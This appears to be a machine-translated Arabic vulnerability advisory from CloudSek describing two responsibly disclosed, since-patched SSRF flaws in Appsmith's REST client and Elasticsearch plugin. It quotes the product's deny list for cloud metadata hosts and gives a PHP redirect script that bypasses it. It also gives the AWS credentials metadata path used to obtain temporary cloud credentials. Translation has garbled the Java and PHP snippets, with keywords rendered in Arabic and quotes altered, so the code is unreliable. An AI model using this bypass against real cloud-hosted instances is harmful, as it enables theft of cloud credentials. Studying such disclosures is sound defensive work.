إلى الخلف
ذكاء نقاط الضعف
جدول المحتوى

المؤلفون: سبارش كولشريستا و شاشانك بهارثوال
المحرر: ديبانجلي بولراج

ملخص تنفيذي

تهديدتأثيرتخفيف

اكتشفت CloudSek ASM ثغرات أمنية في مرحلة ما بعد المصادقة الكاملة في SSRF (تزوير الطلبات من جانب الخادم) في شركة أبسميث عميل ريست (CVE-2022-38298) والبحث المرن (CVE-2022-38299).

يمكن استغلال ثغرة SSRF للوصول إلى خدمات البيانات الوصفية AWS/GCP والحصول على بيانات اعتماد الأمان المؤقتة لبيئة سحابة Appsmith.

مقدمة

في أغسطس 2022 CloudSek ASM، الذي يراقب أسطح هجمات عملائنا، اكتشف العديد من مثيلات Appsmith المكشوفة على الإنترنت. نظرًا لأن المثيلات كانت مكشوفة خارجيًا، قام باحثو الأمن في CloudSek باستكشافها بحثًا عن ثغرات محتملة قبل المصادقة وبعدها.

نظرًا لأن Appsmith لا يحتوي على قيود تسجيل في التثبيت الافتراضي، فقد ركزنا على وظائف ما بعد المصادقة، حيث اكتشفنا نقاط ضعف تزوير الطلبات من جانب الخادم (SSRF) في المكون الإضافي REST API (CVE-2022-38298) والبحث المرن (CVE-2022-38299)، على التوالي.

يمكن استغلال ثغرات SSRF للوصول إلى البيانات الوصفية الداخلية لـ AWS/GCP. نظرًا لأن Appsmith تقدم إصدارًا سحابيًا من برامجها المستضافة على AWS، يمكن أن يكون لثغرات SSRF تأثير كبير.

ما هو أبسميث

صانع التطبيقات هي أداة مفتوحة المصدر منخفضة التعليمات البرمجية تساعد المطورين على إنشاء لوحات المعلومات ولوحات الإدارة بسرعة كبيرة. إنها منصة تساعد الشركات على إنشاء أي تطبيق داخلي مخصص في غضون ساعات.

كيف يعمل Appsmith؟

يمكن إعداد لوحات ولوحات Appsmith في 4 خطوات:

  • قم بتوصيل مصدر البيانات: التكامل مع مصدر بيانات مثل قاعدة البيانات أو API. يحتوي Appsmith على دعم التوصيل والتشغيل للعديد من قواعد البيانات وواجهة RESTful API للاتصال بمعظم الأدوات.
  • إنشاء واجهة مستخدم: استخدم الأدوات المضمنة القابلة للتخصيص لإنشاء تخطيط التطبيق.
  • بيانات الوصول: قم بتوصيل واجهة المستخدم بمصدر البيانات عن طريق كتابة الاستعلامات وربط البيانات بالأدوات.
  • التعاون والنشر والمشاركة: يدعم التحكم في الإصدار باستخدام Git لتتبع التغييرات وإنشاء عمليات التراجع والتعاون باستخدام فروع git. انشر التطبيق وشاركه مع مستخدمين آخرين.

ثغرة SSRF في عميل REST الخاص بـ Appsmith (CVSS: 3.0 النتيجة: 8.8)

تتيح إحدى وظائف المصادقة اللاحقة في Appsmith للمستخدمين الاتصال بمصادر البيانات باستخدام واجهات برمجة تطبيقات REST. يمكن استخدام عميل REST الخاص بـ Appsmith لاستدعاء واجهة برمجة تطبيقات خدمة REST لإنشاء الاستعلامات وتنفيذها. يمكنه التعامل مع طلبات HTTP التي تتراوح بين GET و POST و PUT و PATCH، ويمكن للمستخدمين أيضًا تحديد الرؤوس، إذا لزم الأمر، للمصادقة.

Appsmith REST API
واجهة برمجة تطبيقات ريست

 

عند استبدال عنوان URL الخاص بواجهة برمجة التطبيقات بحمولة Burp Collaborator، تلقينا رد فعل HTTP على الفور. ومع ذلك، عندما حاولنا الوصول إلى بيانات AWS الوصفية الداخلية، تلقينا خطأ «المضيف غير مسموح به».

Error while accessing AWS metadata
حدث خطأ أثناء الوصول إلى بيانات AWS الوصفية

 

نظرًا لأن Appsmith هي أداة مفتوحة المصدر، قمنا بمراجعة التعليمات البرمجية لهذه الوظيفة ووجدنا أن هناك منعًا يستند إلى القائمة السوداء يقيد المستخدمين من الوصول إلى بيانات AWS الوصفية.

المجموعة النهائية الثابتة الخاصة <String>DISALLOWED_HOSTS = set.of (
«169.254.169.254"،
«البيانات الوصفية. google.internal»

قائمة النطاقات غير المسموح بها

مضيف السلسلة النهائي = URI.getHost ()؛
إذا كان (stringutils.isEmpty) فارغًا (مضيف)
|| disalowed_hosts. يحتوي على (مضيف)
|| disallowed_hosts. يحتوي على (INETaddress.getByname (المضيف). gethostAddress ())) {
ErrorResult.setbody (AppSmithPlugin_execute_Argument_error.getMessage) («المضيف غير مسموح به»). «))؛
طلب ErrorResult.set (طلب تنفيذ الإجراء)؛
إرجاع Mono.just (نتيجة الخطأ)؛
}

شرط التحقق من اسم المضيف

في محاولة لتجاوز حماية القائمة السوداء لـ SSRF، قمنا بتنفيذ خادم إعادة توجيه يعيد توجيه طلب الخداع إلى الخادم المدرج في القائمة السوداء.

لذلك، قمنا بإعداد خادم إعادة توجيه PHP، على VPS الخاص بنا، والذي يعيد توجيه الطلبات الواردة إلى نقطة نهاية البيانات الوصفية الداخلية لـ AWS. بهذه الطريقة، تمكنا من استغلال ثغرة SSRF هذه. تمت استضافة ملف redirect.php التالي على VPS الخاص بنا:

<؟ php
$server = $_GET ["الخادم"]؛
إذا ($server = «gcp») {
العنوان («الموقع: http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/ «)؛
}
elseif ($server = «aws») {
العنوان («الموقع: http://169.254.169.254/latest/meta-data/ «)؛
}
؟ >

محتوى ملف Redirect.php

ثم قدمنا طلبًا إلى الملف أعلاه من Appsmith REST API واستجابة لذلك، تلقينا البيانات الوصفية من سحابة AWS/GCP.

AWS security credentials of self-hosted Appsmith Cloud
بيانات اعتماد أمان AWS لسحابة Appsmith المستضافة ذاتيًا

 

GCP metadata were fetched from the GCP compute engine
تم جلب بيانات GCP الوصفية من محرك حساب GCP

 

ثغرة SSRF في البحث المرن الخاص بـ Appsmith (CVSS: 3.0 النتيجة: 8.2)

تتيح إحدى وظائف المصادقة اللاحقة في Appsmith للمستخدمين الاتصال بقواعد بيانات Elasticsearch كمصادر بيانات.

Adding an Elasticsearch database as a data source
إضافة قاعدة بيانات Elasticsearch كمصدر بيانات

 

بمجرد توصيل قاعدة بيانات Elasticsearch، حدد طريقة الاستعلام وأدخل المسار. أضفنا المسار التالي: /أحدث/بيانات وصفية/iam/بيانات اعتماد الأمان /. اترك الجسم فارغًا.

Adding the path
إضافة المسار

 

عند تشغيل هذا الاستعلام، فإنه يعرض بيانات اعتماد الأمان المؤقتة لدور AWS الخاص بك.

AWS security credentials
بيانات اعتماد أمان AWS

التأثير

على الرغم من أن SSRF بعد المصادقة ليس جديدًا، إلا أنه يمكن أن يكون له تأثير كبير نظرًا لأن Appsmith تقدم إصدارًا سحابيًا من برامجها المستضافة على AWS. أيضًا، لا يحتوي Appsmith على قيود تسجيل في التثبيت الافتراضي. لذلك إذا تعرض مثيل Appsmith للإنترنت، فيمكن لأي شخص التسجيل والوصول إلى الوظائف الضعيفة التي تحتوي على ثغرة SSRF هذه.

في هذه الحالة، يمكن استغلال ثغرات SSRF في عنوان IP للبيانات الوصفية لـ AWS والحصول على بيانات اعتماد أمان مؤقتة للبيئة السحابية لـ Appsmith المستضافة ذاتيًا.

يمكن أن يكون لهذا تأثير واسع النطاق، نظرًا لأنه يتم عرض أكثر من 1000 مثيل من Appsmith على الإنترنت:

التخفيف

الكشف المسؤول

قدمت CloudSek هذه الثغرة الأمنية إلى Appsmith عبر عملية الكشف عن الثغرات الأمنية المحددة جيدًا. بعد ذلك، قام فريق Appsmith بإصلاح هذه المشكلة في الإصدار التالي. لا تحتوي إصدارات Appsmith 1.7.12 والإصدارات الأحدث على هذه الثغرة الأمنية.

الخط الزمني

يمكن العثور على الجدول الزمني لعملية الكشف هذه أدناه:

  • 05 أغسطس 2022: الكشف عن أول SSRF لشركة Appsmith
  • 05 أغسطس 2022: استجابة أولية من Appsmith مع الاعتراف بالثغرة الأمنية
  • 06 أغسطس 2022: الكشف عن SSRF الثاني لشركة Appsmith
  • 08 أغسطس 2022: رد من Appsmith مع الاعتراف بالثغرة الثانية
  • 09 أغسطس 2022: تطلق Appsmith تصحيحًا لكل من الثغرات الأمنية.
  • 10 أغسطس 2022: لقد تقدمنا بطلب للحصول على CVE
  • 13 سبتمبر 2022: تم تعيين معرف CVE بواسطة cve.org

المراجع

لم يتم العثور على أية عناصر.

مدونات ذات صلة